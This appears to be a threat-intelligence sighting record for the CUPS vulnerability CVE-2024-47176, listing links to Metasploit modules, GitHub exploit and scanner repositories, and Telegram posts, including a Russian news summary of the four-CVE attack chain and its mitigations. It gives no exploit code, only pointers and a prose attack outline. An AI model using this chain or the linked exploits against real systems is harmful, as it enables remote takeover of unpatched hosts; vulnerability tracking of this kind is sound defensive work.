{"vulnerability": "CVE-2024-47176", "sightings": [{"uuid": "5b1dc723-1327-47f0-b815-172115937135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://infosec.exchange/@adulau/113207584606763918", "content": "", "creation_timestamp": "2024-09-27T04:17:33.000000Z"}, {"uuid": "2efb7836-7278-4502-976e-6380041edbcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "6fe1a1d5-7491-477b-9a5b-15f129b44c86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:11:04.000000Z"}, {"uuid": "2286885a-c619-4d37-a1d7-187acfb34853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:03.000000Z"}, {"uuid": "f7c6a525-ffa8-4a97-b8eb-eb1452914a4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://gist.github.com/Darkcrai86/10e2a9b182784760a5a157eea1f1001d", "content": "", "creation_timestamp": "2025-09-11T18:20:52.000000Z"}, {"uuid": "ed0d773f-1146-4050-bca4-80f6295544f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.rb", "content": "", "creation_timestamp": "2024-10-02T19:05:07.000000Z"}, {"uuid": "6b215485-3750-42f3-b7b6-ab7f4b529ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb", "content": "", "creation_timestamp": "2024-11-22T14:28:34.000000Z"}, {"uuid": "02b91129-d503-4afa-a3f1-4eab122db5f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/3eaf0fde-67ad-4326-a84a-2e4ff201a8e9", "content": "", "creation_timestamp": "2024-09-27T04:15:35.899736Z"}, {"uuid": "cccfefe0-e70a-443d-9a27-a66e82b1d2d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/19c15eba-7fb7-4f1e-8fdd-f5871d05e797", "content": "", "creation_timestamp": "2024-09-30T07:31:43.981846Z"}, {"uuid": "bb63288f-c988-4742-98ac-4b2bea5c9ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/lt5SkCQY6NzFttgTqheKTtx7TlAn90m-tSSHeRo10pnEExI", "content": "", "creation_timestamp": "2024-10-04T03:19:46.000000Z"}, {"uuid": "f3e97f49-4f4e-406d-9c6f-1e4da7f2ee41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/81760", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #Remote\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-47176\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a deancooreman\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-26 20:56:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAutomated VirtualBox lab environment to exploit CVE-2024-47176 \u2014 an unauthenticated RCE vulnerability in CUPS \u2014 using a custom Python exploit and Kali Linux.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-26T21:00:39.000000Z"}, {"uuid": "c7e6197b-e791-44ba-a8c0-9b54f6a662fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/BleepingComputer/20826", "content": "\u200aNew scanner finds Linux, UNIX servers exposed to CUPS RCE attacks\n\nAn automated scanner has been released to help security professionals scan environments for devices vulnerable to the Common Unix Printing System (CUPS) RCE flaw tracked as CVE-2024-47176. [...]\n\nhttps://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/", "creation_timestamp": "2024-10-09T22:19:35.000000Z"}, {"uuid": "271ab7f8-3cff-44fe-9781-5cbf9561bdd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8611", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC scanner for CVE-2024-47176\nURL\uff1ahttps://github.com/GO0dspeed/spill\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-27T01:33:24.000000Z"}, {"uuid": "baa5944c-8922-401a-a1d6-8b09e65ea1bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/cKure/13696", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 The CUPS POC analysis\nCVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177.\n\nhttps://www.elastic.co/security-labs/cups-overflow", "creation_timestamp": "2024-09-29T07:13:53.000000Z"}, {"uuid": "21a0a565-2f7a-4a53-a4de-13808f73e562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8667", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aUnauthenticated RCE on cups-browsed (exploit)\nURL\uff1ahttps://github.com/l0n3m4n/CVE-2024-47176\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-03T15:58:50.000000Z"}, {"uuid": "674fc5e2-6024-4700-ac34-46d407e389f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8622", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aScanner for the CUPS vulnerability CVE-2024-47176\nURL\uff1ahttps://github.com/tonyarris/CVE-2024-47176-Scanner\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-27T20:12:52.000000Z"}, {"uuid": "bb63b6fd-ba80-4f81-b178-ffdd883376bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8619", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCUPS Browsd Check_CVE-2024-47176\nURL\uff1ahttps://github.com/workabhiwin09/CVE-2024-47176\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-27T18:27:15.000000Z"}, {"uuid": "8a210de9-2a4d-460f-92ee-7d8a0becf488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8629", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aVulnerability Scanner for CUPS: CVE-2024-47176\nURL\uff1ahttps://github.com/aytackalinci/CVE-2024-47176\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-28T19:05:33.000000Z"}, {"uuid": "20f74e81-6a5e-470e-931a-55886b206217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8640", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA simple CVE-2024-47176 (cups_browsed) check tool written in go. \nURL\uff1ahttps://github.com/nma-io/CVE-2024-47176\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-29T17:55:20.000000Z"}, {"uuid": "b81626a1-e538-42a1-a7bd-496bcdbedbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8645", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aUltrafast CUPS-browsed scanner (CVE-2024-47076, CVE-2024-47175, CVE-2024-47176, CVE-2024-47177)\nURL\uff1ahttps://github.com/lkarlslund/jugular\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-30T07:22:12.000000Z"}, {"uuid": "9f5a42e5-3f50-4cf3-8446-ef7c17be9f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8768", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aA Mass Scanner designed to detect the CVE-2024-47176 vulnerability across systems running the Common Unix Printing System (CUPS). \nURL\uff1ahttps://github.com/gianlu335/CUPS-CVE-2024-47176\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-17T18:24:59.000000Z"}, {"uuid": "5fb1e356-e8bf-496d-910f-f55dfdf864fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/itsec_news/4777", "content": "\u200b\u26a1\ufe0f\u041f\u0435\u0447\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 Linux \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\n\n\ud83d\udcac \u041d\u0430 \u0434\u043d\u044f\u0445 \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Unix-\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 CUPS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e Linux-\u0441\u0438\u0441\u0442\u0435\u043c \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c \u0438\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0438\u043c\u043e\u043d\u0435 \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0439 \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 BSD, \u0430 \u0442\u0430\u043a\u0436\u0435, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, ChromeOS \u0438 Solaris. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 cups-browsed, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u043c\u0435\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 CUPS \u043d\u0430 \u043f\u043e\u0440\u0442\u0435 631 \u0438 \u0434\u043e\u0436\u0434\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b zeroconf, mDNS \u0438\u043b\u0438 DNS-SD \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438.\n\n\u0412\u0441\u0435\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\nCVE-2024-47176 (cups-browsed \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.0.1): \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a UDP-\u043f\u043e\u0440\u0442\u0443 631.\n\nCVE-2024-47076 (libcupsfilters \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.1b1): \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 IPP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\nCVE-2024-47175 (libppd): \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 PPD-\u0444\u0430\u0439\u043b.\n\nCVE-2024-47177 (cups-filters \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.0.1): \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0438\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 PPD-\u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u043d\u0430 \u043f\u043e\u0440\u0442 631, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0435\u0447\u0430\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0425\u043e\u0442\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439, \u0434\u043b\u044f \u0435\u0451 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 9.9 \u0438\u0437 10 \u043f\u043e CVSS, \u043a\u0430\u043a \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443.\n\n\u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 watchTowr \u0411\u0435\u043d\u0434\u0436\u0430\u043c\u0438\u043d\u0430 \u0425\u0430\u0440\u0440\u0438\u0441\u0430, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043b\u0438\u0448\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u043d\u0442 Linux-\u0441\u0438\u0441\u0442\u0435\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043e\u043d \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0421\u0430\u043c \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0448\u0430\u0433\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b:\n\n\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 cups-browsed;\n\u0411\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a UDP-\u043f\u043e\u0440\u0442\u0443 631 \u0438 DNS-SD;\n\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CUPS \u043f\u0440\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0440\u044f\u0434\u043e\u043c \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 CUPS. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u0443\u044e 